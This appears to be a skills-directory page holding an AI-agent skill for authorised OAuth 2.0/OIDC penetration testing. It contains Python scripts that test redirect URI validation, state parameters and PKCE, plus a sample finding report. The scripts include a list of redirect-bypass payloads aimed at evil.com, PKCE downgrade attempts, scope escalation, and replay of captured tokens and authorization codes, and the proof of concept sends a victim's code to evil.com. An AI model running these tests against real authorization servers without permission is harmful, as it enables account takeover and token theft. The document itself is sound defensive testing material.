[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6GZWRHTVZ26CB1G39FQJNCZ":3,"skill-same:01M6GZWRHTVZ26CB1G39FQJNCZ":95},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":25,"publishedAt":46,"linkOnly":47,"markdownContent":48,"markdownBody":49,"frontMatter":50,"refName":57,"commitSha":58,"skillDirectory":59,"forksCount":60,"repositoryHtmlUrl":61,"repositoryHomepageUrl":6,"ownerHtmlUrl":62,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":63,"install":64,"resources":77},"01M6GZWRHTVZ26CB1G39FQJNCZ","testing-oauth2-implementation-flaws",null,"Tests OAuth 2.0 and OpenID Connect implementations for security flaws including authorization code interception, redirect URI manipulation, CSRF in OAuth flows, token leakage, scope escalation, and PKCE bypass. The tester evaluates the authorization server, client application, and token handling for common misconfigurations that enable account takeover or unauthorized access. Activates for requests involving OAuth security testing, OIDC vulnerability assessment, OAuth2 redirect bypass, or authorization code flow testing.","micsapp\u002Fmicstec-skills","micsapp","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F82411001?v=4","01M6GWCFQ6D3PV8EHNY62NN5VW","01M6GWCFVE1PA5HG0DKC7AMFJ3",4,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Ftesting-oauth2-implementation-flaws\u002FSKILL.md",[17,22],{"categoryNo":18,"categoryName":19,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":23,"categoryName":24,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000010","后端与接口",[26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45],"implementation","testing oauth2 implementation flaws","oauth2","testing","vulnerability","flows","scope","common","access","takeover","redirect-uri","api","csrf","api-security","server","authentication","code","connect","assessment","cybersecurity","2026-11-10 10:12:30",false,"---\nname: testing-oauth2-implementation-flaws\ndescription: >\n  Tests OAuth 2.0 and OpenID Connect implementations for security flaws including authorization\n  code interception, redirect URI manipulation, CSRF in OAuth flows, token leakage, scope\n  escalation, and PKCE bypass. The tester evaluates the authorization server, client\n  application, and token handling for common misconfigurations that enable account takeover\n  or unauthorized access. Activates for requests involving OAuth security testing, OIDC\n  vulnerability assessment, OAuth2 redirect bypass, or authorization code flow testing.\ndomain: cybersecurity\nsubdomain: api-security\ntags: [api-security, oauth2, oidc, authentication, redirect-uri, token-security]\nversion: 1.0.0\nauthor: mahipal\nlicense: Apache-2.0\n---\n# Testing OAuth2 Implementation Flaws\n\n## When to Use\n\n- Assessing OAuth 2.0 authorization code flow for redirect URI validation weaknesses\n- Testing OAuth client applications for CSRF protection (state parameter usage) and PKCE enforcement\n- Evaluating token storage, transmission, and lifecycle management in OAuth implementations\n- Testing scope escalation where clients request more permissions than authorized\n- Assessing OpenID Connect implementations for ID token validation and nonce usage\n\n**Do not use** without written authorization. OAuth testing may result in token theft or unauthorized access.\n\n## Prerequisites\n\n- Written authorization specifying the OAuth provider and client applications in scope\n- Test OAuth client registered with the authorization server\n- Burp Suite Professional for intercepting OAuth redirects and token flows\n- Python 3.10+ with `requests` and `oauthlib` libraries\n- Browser developer tools for observing OAuth redirect chains\n- Knowledge of the OAuth 2.0 grant types in use (authorization code, implicit, client credentials)\n\n## Workflow\n\n### Step 1: OAuth Flow Reconnaissance\n\n```python\nimport requests\nimport urllib.parse\nimport re\nimport hashlib\nimport base64\nimport secrets\n\nAUTH_SERVER = \"https:\u002F\u002Fauth.example.com\"\nCLIENT_ID = \"test-client-id\"\nREDIRECT_URI = \"https:\u002F\u002Fapp.example.com\u002Fcallback\"\nSCOPE = \"openid profile email\"\n\n# Discover OAuth endpoints\nwell_known = requests.get(f\"{AUTH_SERVER}\u002F.well-known\u002Fopenid-configuration\")\nif well_known.status_code == 200:\n    config = well_known.json()\n    print(\"OAuth\u002FOIDC Configuration:\")\n    print(f\"  Authorization: {config.get('authorization_endpoint')}\")\n    print(f\"  Token: {config.get('token_endpoint')}\")\n    print(f\"  UserInfo: {config.get('userinfo_endpoint')}\")\n    print(f\"  JWKS: {config.get('jwks_uri')}\")\n    print(f\"  Supported grants: {config.get('grant_types_supported')}\")\n    print(f\"  Supported scopes: {config.get('scopes_supported')}\")\n    print(f\"  PKCE methods: {config.get('code_challenge_methods_supported')}\")\n    auth_endpoint = config['authorization_endpoint']\n    token_endpoint = config['token_endpoint']\nelse:\n    # Try common paths\n    for path in [\"\u002Fauthorize\", \"\u002Foauth\u002Fauthorize\", \"\u002Foauth2\u002Fauthorize\", \"\u002Fauth\"]:\n        resp = requests.get(f\"{AUTH_SERVER}{path}\", allow_redirects=False)\n        if resp.status_code in (302, 400):\n            print(f\"Authorization endpoint found: {AUTH_SERVER}{path}\")\n            auth_endpoint = f\"{AUTH_SERVER}{path}\"\n            break\n```\n\n### Step 2: Redirect URI Validation Testing\n\n```python\n# Test redirect_uri validation strictness\nREDIRECT_BYPASS_PAYLOADS = [\n    # Open redirect variations\n    REDIRECT_URI,                                          # Legitimate\n    \"https:\u002F\u002Fevil.com\",                                    # Different domain\n    \"https:\u002F\u002Fapp.example.com.evil.com\u002Fcallback\",          # Subdomain of attacker\n    \"https:\u002F\u002Fapp.example.com@evil.com\u002Fcallback\",          # URL authority confusion\n    f\"{REDIRECT_URI}\u002F..\u002F..\u002F..\u002Fevil.com\",                  # Path traversal\n    f\"{REDIRECT_URI}?next=https:\u002F\u002Fevil.com\",              # Parameter injection\n    f\"{REDIRECT_URI}#https:\u002F\u002Fevil.com\",                   # Fragment injection\n    f\"{REDIRECT_URI}%23evil.com\",                         # Encoded fragment\n    \"https:\u002F\u002Fapp.example.com\u002Fcallback\u002F..\u002F..\u002Fevil\",        # Relative path\n    \"https:\u002F\u002FAPP.EXAMPLE.COM\u002Fcallback\",                   # Case variation\n    \"https:\u002F\u002Fapp.example.com\u002FCallback\",                   # Path case variation\n    \"https:\u002F\u002Fapp.example.com\u002Fcallback\u002F\",                  # Trailing slash\n    \"https:\u002F\u002Fapp.example.com\u002Fcallback?\",                  # Trailing question mark\n    \"http:\u002F\u002Fapp.example.com\u002Fcallback\",                    # HTTP downgrade\n    \"https:\u002F\u002Fapp.example.com:443\u002Fcallback\",               # Explicit port\n    \"https:\u002F\u002Fapp.example.com:8443\u002Fcallback\",              # Different port\n    f\"{REDIRECT_URI}\u002F.evil.com\",                          # Dot segment\n    \"https:\u002F\u002Fapp.example.com\u002Fcallbackevil\",               # Path prefix match\n    \"javascript:\u002F\u002Fapp.example.com\u002Fcallback%0aalert(1)\",   # JavaScript protocol\n]\n\nprint(\"=== Redirect URI Validation Testing ===\\n\")\nfor redirect in REDIRECT_BYPASS_PAYLOADS:\n    params = {\n        \"response_type\": \"code\",\n        \"client_id\": CLIENT_ID,\n        \"redirect_uri\": redirect,\n        \"scope\": SCOPE,\n        \"state\": secrets.token_urlsafe(32),\n    }\n    resp = requests.get(auth_endpoint, params=params, allow_redirects=False)\n\n    if resp.status_code == 302:\n        location = resp.headers.get(\"Location\", \"\")\n        if \"code=\" in location or redirect in location:\n            status = \"ACCEPTED\"\n            if redirect != REDIRECT_URI:\n                print(f\"  [VULNERABLE] {redirect[:70]} -> Redirect accepted\")\n        else:\n            status = \"REDIRECTED\"\n    elif resp.status_code == 400:\n        status = \"REJECTED\"\n    else:\n        status = f\"HTTP {resp.status_code}\"\n\n    if redirect == REDIRECT_URI:\n        print(f\"  [BASELINE] {redirect[:70]} -> {status}\")\n```\n\n### Step 3: State Parameter (CSRF) Testing\n\n```python\n# Test 1: Missing state parameter\nparams_no_state = {\n    \"response_type\": \"code\",\n    \"client_id\": CLIENT_ID,\n    \"redirect_uri\": REDIRECT_URI,\n    \"scope\": SCOPE,\n}\nresp = requests.get(auth_endpoint, params=params_no_state, allow_redirects=False)\nif resp.status_code == 302 and \"code=\" in resp.headers.get(\"Location\", \"\"):\n    print(\"[CSRF] Authorization code issued without state parameter\")\n\n# Test 2: State parameter reuse\nstate_value = \"fixed_state_value_123\"\n# Use same state for multiple authorization requests\nfor i in range(3):\n    params = {**params_no_state, \"state\": state_value}\n    resp = requests.get(auth_endpoint, params=params, allow_redirects=False)\n    if resp.status_code == 302:\n        location = resp.headers.get(\"Location\", \"\")\n        returned_state = urllib.parse.parse_qs(\n            urllib.parse.urlparse(location).query).get(\"state\", [None])[0]\n        if returned_state == state_value:\n            print(f\"[INFO] Same state accepted on attempt {i+1} (check client-side validation)\")\n\n# Test 3: Token exchange without state validation (client-side check)\n# Intercept the callback and try exchanging the code without state\nprint(\"\\nNote: State validation is a client-side check. Verify the callback handler validates state.\")\n```\n\n### Step 4: PKCE Bypass Testing\n\n```python\n# Test if PKCE (Proof Key for Code Exchange) is enforced\n\n# Generate PKCE values\ncode_verifier = secrets.token_urlsafe(64)[:128]\ncode_challenge = base64.urlsafe_b64encode(\n    hashlib.sha256(code_verifier.encode()).digest()\n).decode().rstrip('=')\n\n# Test 1: Authorization request without PKCE\nparams_no_pkce = {\n    \"response_type\": \"code\",\n    \"client_id\": CLIENT_ID,\n    \"redirect_uri\": REDIRECT_URI,\n    \"scope\": SCOPE,\n    \"state\": secrets.token_urlsafe(32),\n}\nresp = requests.get(auth_endpoint, params=params_no_pkce, allow_redirects=False)\nif resp.status_code == 302 and \"code=\" in resp.headers.get(\"Location\", \"\"):\n    print(\"[PKCE] Authorization code issued without PKCE challenge\")\n\n# Test 2: Token exchange without code_verifier\nauth_code = \"captured_auth_code\"  # From intercept\ntoken_resp = requests.post(token_endpoint, data={\n    \"grant_type\": \"authorization_code\",\n    \"code\": auth_code,\n    \"redirect_uri\": REDIRECT_URI,\n    \"client_id\": CLIENT_ID,\n    # No code_verifier\n})\nif token_resp.status_code == 200:\n    print(\"[PKCE] Token issued without code_verifier - PKCE not enforced\")\n\n# Test 3: Token exchange with wrong code_verifier\ntoken_resp = requests.post(token_endpoint, data={\n    \"grant_type\": \"authorization_code\",\n    \"code\": auth_code,\n    \"redirect_uri\": REDIRECT_URI,\n    \"client_id\": CLIENT_ID,\n    \"code_verifier\": \"wrong_verifier_value_that_does_not_match\",\n})\nif token_resp.status_code == 200:\n    print(\"[PKCE] Token issued with wrong code_verifier - PKCE validation broken\")\n\n# Test 4: Downgrade from S256 to plain\nparams_plain_pkce = {\n    **params_no_pkce,\n    \"code_challenge\": code_verifier,  # Plain = verifier itself\n    \"code_challenge_method\": \"plain\",\n}\nresp = requests.get(auth_endpoint, params=params_plain_pkce, allow_redirects=False)\nif resp.status_code == 302:\n    print(\"[PKCE] Plain challenge method accepted - vulnerable to interception\")\n```\n\n### Step 5: Scope Escalation and Token Testing\n\n```python\n# Test 1: Request additional scopes beyond what's registered\nelevated_scopes = [\n    \"openid profile email admin\",\n    \"openid profile email write:users\",\n    \"openid profile email delete:*\",\n    \"openid profile email admin:full\",\n    \"*\",\n]\n\nfor scope in elevated_scopes:\n    params = {\n        \"response_type\": \"code\",\n        \"client_id\": CLIENT_ID,\n        \"redirect_uri\": REDIRECT_URI,\n        \"scope\": scope,\n        \"state\": secrets.token_urlsafe(32),\n    }\n    resp = requests.get(auth_endpoint, params=params, allow_redirects=False)\n    if resp.status_code == 302:\n        location = resp.headers.get(\"Location\", \"\")\n        if \"code=\" in location:\n            print(f\"[SCOPE] Elevated scope accepted: {scope}\")\n\n# Test 2: Token reuse across clients\n# Use a token from client A on client B's API\ntoken_a = \"access_token_from_client_a\"\nresp = requests.get(\"https:\u002F\u002Fother-service.example.com\u002Fapi\u002Fresource\",\n    headers={\"Authorization\": f\"Bearer {token_a}\"})\nif resp.status_code == 200:\n    print(\"[TOKEN] Token from client A accepted by different service (audience not validated)\")\n\n# Test 3: Refresh token theft and reuse\nrefresh_token = \"captured_refresh_token\"\n# Try using refresh token with different client_id\ntoken_resp = requests.post(token_endpoint, data={\n    \"grant_type\": \"refresh_token\",\n    \"refresh_token\": refresh_token,\n    \"client_id\": \"different-client-id\",\n})\nif token_resp.status_code == 200:\n    print(\"[TOKEN] Refresh token accepted for different client - not bound to client\")\n```\n\n### Step 6: Implicit Flow and Token Leakage Testing\n\n```python\n# Test if implicit flow is enabled (should be disabled per OAuth 2.1)\nimplicit_params = {\n    \"response_type\": \"token\",\n    \"client_id\": CLIENT_ID,\n    \"redirect_uri\": REDIRECT_URI,\n    \"scope\": SCOPE,\n    \"state\": secrets.token_urlsafe(32),\n}\nresp = requests.get(auth_endpoint, params=implicit_params, allow_redirects=False)\nif resp.status_code == 302:\n    location = resp.headers.get(\"Location\", \"\")\n    if \"access_token=\" in location:\n        print(\"[IMPLICIT] Implicit flow enabled - token in URL fragment (deprecated\u002Finsecure)\")\n\n# Test token leakage via Referer header\n# Check if tokens appear in URLs that could leak via Referer\nprint(\"\\nToken Leakage Checks:\")\nprint(\"  - Check if access tokens appear in URL query parameters\")\nprint(\"  - Check if tokens are logged in server access logs\")\nprint(\"  - Check if callback URL with code is cached by the browser\")\nprint(\"  - Check if the authorization code is single-use (replay test)\")\n\n# Authorization code replay test\nauth_code_to_replay = \"captured_auth_code\"\nfor attempt in range(3):\n    token_resp = requests.post(token_endpoint, data={\n        \"grant_type\": \"authorization_code\",\n        \"code\": auth_code_to_replay,\n        \"redirect_uri\": REDIRECT_URI,\n        \"client_id\": CLIENT_ID,\n        \"client_secret\": \"client_secret_value\",\n    })\n    print(f\"  Code replay attempt {attempt+1}: {token_resp.status_code}\")\n    if attempt > 0 and token_resp.status_code == 200:\n        print(\"  [VULNERABLE] Authorization code is not single-use\")\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Authorization Code Flow** | OAuth 2.0 flow where the client receives an authorization code via redirect, then exchanges it for tokens at the token endpoint |\n| **PKCE** | Proof Key for Code Exchange - extension that binds the authorization request to the token request using a code verifier\u002Fchallenge, preventing authorization code interception |\n| **Redirect URI Validation** | Authorization server verification that the redirect_uri matches the registered value exactly, preventing code\u002Ftoken theft via open redirect |\n| **State Parameter** | Random value passed in the authorization request and verified in the callback to prevent CSRF attacks on the OAuth flow |\n| **Scope Escalation** | Requesting or obtaining more permissions (scopes) than the client is authorized for, enabling unauthorized access |\n| **Implicit Flow** | Deprecated OAuth flow that returns tokens directly in the URL fragment, vulnerable to token leakage and replay attacks |\n\n## Tools & Systems\n\n- **Burp Suite Professional**: Intercept and manipulate OAuth redirects, authorization codes, and token exchanges\n- **EsPReSSO (Burp Extension)**: Automated testing of OAuth and OpenID Connect implementations for known vulnerabilities\n- **oauth2-security-tester**: Dedicated tool for testing OAuth 2.0 flows against common attack patterns\n- **OWASP ZAP**: Passive scanner that detects OAuth misconfigurations in intercepted traffic\n- **jwt.io**: Online JWT decoder for analyzing OAuth access tokens and ID tokens\n\n## Common Scenarios\n\n### Scenario: Social Login OAuth Implementation Assessment\n\n**Context**: A web application implements \"Login with Google\" and \"Login with GitHub\" using OAuth 2.0 Authorization Code flow. The application is a SaaS platform where account takeover has high business impact.\n\n**Approach**:\n1. Analyze the OAuth configuration at `\u002F.well-known\u002Fopenid-configuration` for both providers\n2. Test redirect URI validation: discover that the application registers `https:\u002F\u002Fapp.example.com\u002Fcallback` but the server accepts `https:\u002F\u002Fapp.example.com\u002Fcallback\u002F..%2fevil`\n3. Test state parameter: authorization request includes state but the callback handler does not validate it (CSRF possible)\n4. Test PKCE: not implemented for the authorization code flow, making code interception possible on mobile\n5. Test implicit flow: still enabled despite not being used by the application\n6. Test scope: application requests `openid profile email` but the authorization server also grants `read:repos` without explicit consent\n7. Test authorization code replay: code can be exchanged twice, indicating lack of single-use enforcement\n8. Test token audience: access token from Google login accepted by GitHub API endpoint (audience not validated)\n\n**Pitfalls**:\n- Only testing the OAuth flow in the browser without intercepting and manipulating redirect parameters\n- Not testing both the authorization request and the token exchange independently\n- Missing open redirect vulnerabilities in the application that can be chained with OAuth redirect_uri\n- Not testing the state parameter validation on the client side (server may include it but client may not check it)\n- Assuming PKCE is enforced because the authorization server supports it (client must also send it)\n\n## Output Format\n\n```\n## Finding: OAuth2 Redirect URI Bypass Enables Authorization Code Theft\n\n**ID**: API-OAUTH-001\n**Severity**: Critical (CVSS 9.3)\n**Affected Component**: OAuth 2.0 Authorization Code Flow\n**Authorization Server**: auth.example.com\n\n**Description**:\nThe authorization server's redirect_uri validation uses prefix matching\ninstead of exact string matching. An attacker can manipulate the redirect_uri\nto redirect the authorization code to an attacker-controlled endpoint,\nenabling account takeover. Additionally, PKCE is not enforced and the\nstate parameter is not validated by the client application.\n\n**Proof of Concept**:\n1. Craft authorization URL with manipulated redirect_uri:\n   https:\u002F\u002Fauth.example.com\u002Fauthorize?response_type=code&client_id=app\n   &redirect_uri=https:\u002F\u002Fapp.example.com\u002Fcallback\u002F..\u002F..\u002F..\u002Fevil.com\n   &scope=openid+profile+email&state=abc123\n2. User authenticates and approves consent\n3. Authorization code redirected to https:\u002F\u002Fevil.com?code=AUTH_CODE&state=abc123\n4. Attacker exchanges code at token endpoint (no PKCE required)\n5. Attacker receives access token and ID token for victim's account\n\n**Impact**:\nComplete account takeover for any user who clicks a crafted OAuth login link.\nThe attacker gains full access to the user's profile, email, and any\nresources the OAuth scope grants access to.\n\n**Remediation**:\n1. Implement exact string matching for redirect_uri validation (no wildcards, no prefix matching)\n2. Enforce PKCE (S256 method) for all authorization code flow requests\n3. Validate the state parameter in the callback handler before exchanging the code\n4. Disable the implicit flow on the authorization server\n5. Enforce single-use authorization codes with a short TTL (max 60 seconds)\n6. Validate the audience (aud) claim in tokens before accepting them\n```\n","# Testing OAuth2 Implementation Flaws\n\n## When to Use\n\n- Assessing OAuth 2.0 authorization code flow for redirect URI validation weaknesses\n- Testing OAuth client applications for CSRF protection (state parameter usage) and PKCE enforcement\n- Evaluating token storage, transmission, and lifecycle management in OAuth implementations\n- Testing scope escalation where clients request more permissions than authorized\n- Assessing OpenID Connect implementations for ID token validation and nonce usage\n\n**Do not use** without written authorization. OAuth testing may result in token theft or unauthorized access.\n\n## Prerequisites\n\n- Written authorization specifying the OAuth provider and client applications in scope\n- Test OAuth client registered with the authorization server\n- Burp Suite Professional for intercepting OAuth redirects and token flows\n- Python 3.10+ with `requests` and `oauthlib` libraries\n- Browser developer tools for observing OAuth redirect chains\n- Knowledge of the OAuth 2.0 grant types in use (authorization code, implicit, client credentials)\n\n## Workflow\n\n### Step 1: OAuth Flow Reconnaissance\n\n```python\nimport requests\nimport urllib.parse\nimport re\nimport hashlib\nimport base64\nimport secrets\n\nAUTH_SERVER = \"https:\u002F\u002Fauth.example.com\"\nCLIENT_ID = \"test-client-id\"\nREDIRECT_URI = \"https:\u002F\u002Fapp.example.com\u002Fcallback\"\nSCOPE = \"openid profile email\"\n\n# Discover OAuth endpoints\nwell_known = requests.get(f\"{AUTH_SERVER}\u002F.well-known\u002Fopenid-configuration\")\nif well_known.status_code == 200:\n    config = well_known.json()\n    print(\"OAuth\u002FOIDC Configuration:\")\n    print(f\"  Authorization: {config.get('authorization_endpoint')}\")\n    print(f\"  Token: {config.get('token_endpoint')}\")\n    print(f\"  UserInfo: {config.get('userinfo_endpoint')}\")\n    print(f\"  JWKS: {config.get('jwks_uri')}\")\n    print(f\"  Supported grants: {config.get('grant_types_supported')}\")\n    print(f\"  Supported scopes: {config.get('scopes_supported')}\")\n    print(f\"  PKCE methods: {config.get('code_challenge_methods_supported')}\")\n    auth_endpoint = config['authorization_endpoint']\n    token_endpoint = config['token_endpoint']\nelse:\n    # Try common paths\n    for path in [\"\u002Fauthorize\", \"\u002Foauth\u002Fauthorize\", \"\u002Foauth2\u002Fauthorize\", \"\u002Fauth\"]:\n        resp = requests.get(f\"{AUTH_SERVER}{path}\", allow_redirects=False)\n        if resp.status_code in (302, 400):\n            print(f\"Authorization endpoint found: {AUTH_SERVER}{path}\")\n            auth_endpoint = f\"{AUTH_SERVER}{path}\"\n            break\n```\n\n### Step 2: Redirect URI Validation Testing\n\n```python\n# Test redirect_uri validation strictness\nREDIRECT_BYPASS_PAYLOADS = [\n    # Open redirect variations\n    REDIRECT_URI,                                          # Legitimate\n    \"https:\u002F\u002Fevil.com\",                                    # Different domain\n    \"https:\u002F\u002Fapp.example.com.evil.com\u002Fcallback\",          # Subdomain of attacker\n    \"https:\u002F\u002Fapp.example.com@evil.com\u002Fcallback\",          # URL authority confusion\n    f\"{REDIRECT_URI}\u002F..\u002F..\u002F..\u002Fevil.com\",                  # Path traversal\n    f\"{REDIRECT_URI}?next=https:\u002F\u002Fevil.com\",              # Parameter injection\n    f\"{REDIRECT_URI}#https:\u002F\u002Fevil.com\",                   # Fragment injection\n    f\"{REDIRECT_URI}%23evil.com\",                         # Encoded fragment\n    \"https:\u002F\u002Fapp.example.com\u002Fcallback\u002F..\u002F..\u002Fevil\",        # Relative path\n    \"https:\u002F\u002FAPP.EXAMPLE.COM\u002Fcallback\",                   # Case variation\n    \"https:\u002F\u002Fapp.example.com\u002FCallback\",                   # Path case variation\n    \"https:\u002F\u002Fapp.example.com\u002Fcallback\u002F\",                  # Trailing slash\n    \"https:\u002F\u002Fapp.example.com\u002Fcallback?\",                  # Trailing question mark\n    \"http:\u002F\u002Fapp.example.com\u002Fcallback\",                    # HTTP downgrade\n    \"https:\u002F\u002Fapp.example.com:443\u002Fcallback\",               # Explicit port\n    \"https:\u002F\u002Fapp.example.com:8443\u002Fcallback\",              # Different port\n    f\"{REDIRECT_URI}\u002F.evil.com\",                          # Dot segment\n    \"https:\u002F\u002Fapp.example.com\u002Fcallbackevil\",               # Path prefix match\n    \"javascript:\u002F\u002Fapp.example.com\u002Fcallback%0aalert(1)\",   # JavaScript protocol\n]\n\nprint(\"=== Redirect URI Validation Testing ===\\n\")\nfor redirect in REDIRECT_BYPASS_PAYLOADS:\n    params = {\n        \"response_type\": \"code\",\n        \"client_id\": CLIENT_ID,\n        \"redirect_uri\": redirect,\n        \"scope\": SCOPE,\n        \"state\": secrets.token_urlsafe(32),\n    }\n    resp = requests.get(auth_endpoint, params=params, allow_redirects=False)\n\n    if resp.status_code == 302:\n        location = resp.headers.get(\"Location\", \"\")\n        if \"code=\" in location or redirect in location:\n            status = \"ACCEPTED\"\n            if redirect != REDIRECT_URI:\n                print(f\"  [VULNERABLE] {redirect[:70]} -> Redirect accepted\")\n        else:\n            status = \"REDIRECTED\"\n    elif resp.status_code == 400:\n        status = \"REJECTED\"\n    else:\n        status = f\"HTTP {resp.status_code}\"\n\n    if redirect == REDIRECT_URI:\n        print(f\"  [BASELINE] {redirect[:70]} -> {status}\")\n```\n\n### Step 3: State Parameter (CSRF) Testing\n\n```python\n# Test 1: Missing state parameter\nparams_no_state = {\n    \"response_type\": \"code\",\n    \"client_id\": CLIENT_ID,\n    \"redirect_uri\": REDIRECT_URI,\n    \"scope\": SCOPE,\n}\nresp = requests.get(auth_endpoint, params=params_no_state, allow_redirects=False)\nif resp.status_code == 302 and \"code=\" in resp.headers.get(\"Location\", \"\"):\n    print(\"[CSRF] Authorization code issued without state parameter\")\n\n# Test 2: State parameter reuse\nstate_value = \"fixed_state_value_123\"\n# Use same state for multiple authorization requests\nfor i in range(3):\n    params = {**params_no_state, \"state\": state_value}\n    resp = requests.get(auth_endpoint, params=params, allow_redirects=False)\n    if resp.status_code == 302:\n        location = resp.headers.get(\"Location\", \"\")\n        returned_state = urllib.parse.parse_qs(\n            urllib.parse.urlparse(location).query).get(\"state\", [None])[0]\n        if returned_state == state_value:\n            print(f\"[INFO] Same state accepted on attempt {i+1} (check client-side validation)\")\n\n# Test 3: Token exchange without state validation (client-side check)\n# Intercept the callback and try exchanging the code without state\nprint(\"\\nNote: State validation is a client-side check. Verify the callback handler validates state.\")\n```\n\n### Step 4: PKCE Bypass Testing\n\n```python\n# Test if PKCE (Proof Key for Code Exchange) is enforced\n\n# Generate PKCE values\ncode_verifier = secrets.token_urlsafe(64)[:128]\ncode_challenge = base64.urlsafe_b64encode(\n    hashlib.sha256(code_verifier.encode()).digest()\n).decode().rstrip('=')\n\n# Test 1: Authorization request without PKCE\nparams_no_pkce = {\n    \"response_type\": \"code\",\n    \"client_id\": CLIENT_ID,\n    \"redirect_uri\": REDIRECT_URI,\n    \"scope\": SCOPE,\n    \"state\": secrets.token_urlsafe(32),\n}\nresp = requests.get(auth_endpoint, params=params_no_pkce, allow_redirects=False)\nif resp.status_code == 302 and \"code=\" in resp.headers.get(\"Location\", \"\"):\n    print(\"[PKCE] Authorization code issued without PKCE challenge\")\n\n# Test 2: Token exchange without code_verifier\nauth_code = \"captured_auth_code\"  # From intercept\ntoken_resp = requests.post(token_endpoint, data={\n    \"grant_type\": \"authorization_code\",\n    \"code\": auth_code,\n    \"redirect_uri\": REDIRECT_URI,\n    \"client_id\": CLIENT_ID,\n    # No code_verifier\n})\nif token_resp.status_code == 200:\n    print(\"[PKCE] Token issued without code_verifier - PKCE not enforced\")\n\n# Test 3: Token exchange with wrong code_verifier\ntoken_resp = requests.post(token_endpoint, data={\n    \"grant_type\": \"authorization_code\",\n    \"code\": auth_code,\n    \"redirect_uri\": REDIRECT_URI,\n    \"client_id\": CLIENT_ID,\n    \"code_verifier\": \"wrong_verifier_value_that_does_not_match\",\n})\nif token_resp.status_code == 200:\n    print(\"[PKCE] Token issued with wrong code_verifier - PKCE validation broken\")\n\n# Test 4: Downgrade from S256 to plain\nparams_plain_pkce = {\n    **params_no_pkce,\n    \"code_challenge\": code_verifier,  # Plain = verifier itself\n    \"code_challenge_method\": \"plain\",\n}\nresp = requests.get(auth_endpoint, params=params_plain_pkce, allow_redirects=False)\nif resp.status_code == 302:\n    print(\"[PKCE] Plain challenge method accepted - vulnerable to interception\")\n```\n\n### Step 5: Scope Escalation and Token Testing\n\n```python\n# Test 1: Request additional scopes beyond what's registered\nelevated_scopes = [\n    \"openid profile email admin\",\n    \"openid profile email write:users\",\n    \"openid profile email delete:*\",\n    \"openid profile email admin:full\",\n    \"*\",\n]\n\nfor scope in elevated_scopes:\n    params = {\n        \"response_type\": \"code\",\n        \"client_id\": CLIENT_ID,\n        \"redirect_uri\": REDIRECT_URI,\n        \"scope\": scope,\n        \"state\": secrets.token_urlsafe(32),\n    }\n    resp = requests.get(auth_endpoint, params=params, allow_redirects=False)\n    if resp.status_code == 302:\n        location = resp.headers.get(\"Location\", \"\")\n        if \"code=\" in location:\n            print(f\"[SCOPE] Elevated scope accepted: {scope}\")\n\n# Test 2: Token reuse across clients\n# Use a token from client A on client B's API\ntoken_a = \"access_token_from_client_a\"\nresp = requests.get(\"https:\u002F\u002Fother-service.example.com\u002Fapi\u002Fresource\",\n    headers={\"Authorization\": f\"Bearer {token_a}\"})\nif resp.status_code == 200:\n    print(\"[TOKEN] Token from client A accepted by different service (audience not validated)\")\n\n# Test 3: Refresh token theft and reuse\nrefresh_token = \"captured_refresh_token\"\n# Try using refresh token with different client_id\ntoken_resp = requests.post(token_endpoint, data={\n    \"grant_type\": \"refresh_token\",\n    \"refresh_token\": refresh_token,\n    \"client_id\": \"different-client-id\",\n})\nif token_resp.status_code == 200:\n    print(\"[TOKEN] Refresh token accepted for different client - not bound to client\")\n```\n\n### Step 6: Implicit Flow and Token Leakage Testing\n\n```python\n# Test if implicit flow is enabled (should be disabled per OAuth 2.1)\nimplicit_params = {\n    \"response_type\": \"token\",\n    \"client_id\": CLIENT_ID,\n    \"redirect_uri\": REDIRECT_URI,\n    \"scope\": SCOPE,\n    \"state\": secrets.token_urlsafe(32),\n}\nresp = requests.get(auth_endpoint, params=implicit_params, allow_redirects=False)\nif resp.status_code == 302:\n    location = resp.headers.get(\"Location\", \"\")\n    if \"access_token=\" in location:\n        print(\"[IMPLICIT] Implicit flow enabled - token in URL fragment (deprecated\u002Finsecure)\")\n\n# Test token leakage via Referer header\n# Check if tokens appear in URLs that could leak via Referer\nprint(\"\\nToken Leakage Checks:\")\nprint(\"  - Check if access tokens appear in URL query parameters\")\nprint(\"  - Check if tokens are logged in server access logs\")\nprint(\"  - Check if callback URL with code is cached by the browser\")\nprint(\"  - Check if the authorization code is single-use (replay test)\")\n\n# Authorization code replay test\nauth_code_to_replay = \"captured_auth_code\"\nfor attempt in range(3):\n    token_resp = requests.post(token_endpoint, data={\n        \"grant_type\": \"authorization_code\",\n        \"code\": auth_code_to_replay,\n        \"redirect_uri\": REDIRECT_URI,\n        \"client_id\": CLIENT_ID,\n        \"client_secret\": \"client_secret_value\",\n    })\n    print(f\"  Code replay attempt {attempt+1}: {token_resp.status_code}\")\n    if attempt > 0 and token_resp.status_code == 200:\n        print(\"  [VULNERABLE] Authorization code is not single-use\")\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Authorization Code Flow** | OAuth 2.0 flow where the client receives an authorization code via redirect, then exchanges it for tokens at the token endpoint |\n| **PKCE** | Proof Key for Code Exchange - extension that binds the authorization request to the token request using a code verifier\u002Fchallenge, preventing authorization code interception |\n| **Redirect URI Validation** | Authorization server verification that the redirect_uri matches the registered value exactly, preventing code\u002Ftoken theft via open redirect |\n| **State Parameter** | Random value passed in the authorization request and verified in the callback to prevent CSRF attacks on the OAuth flow |\n| **Scope Escalation** | Requesting or obtaining more permissions (scopes) than the client is authorized for, enabling unauthorized access |\n| **Implicit Flow** | Deprecated OAuth flow that returns tokens directly in the URL fragment, vulnerable to token leakage and replay attacks |\n\n## Tools & Systems\n\n- 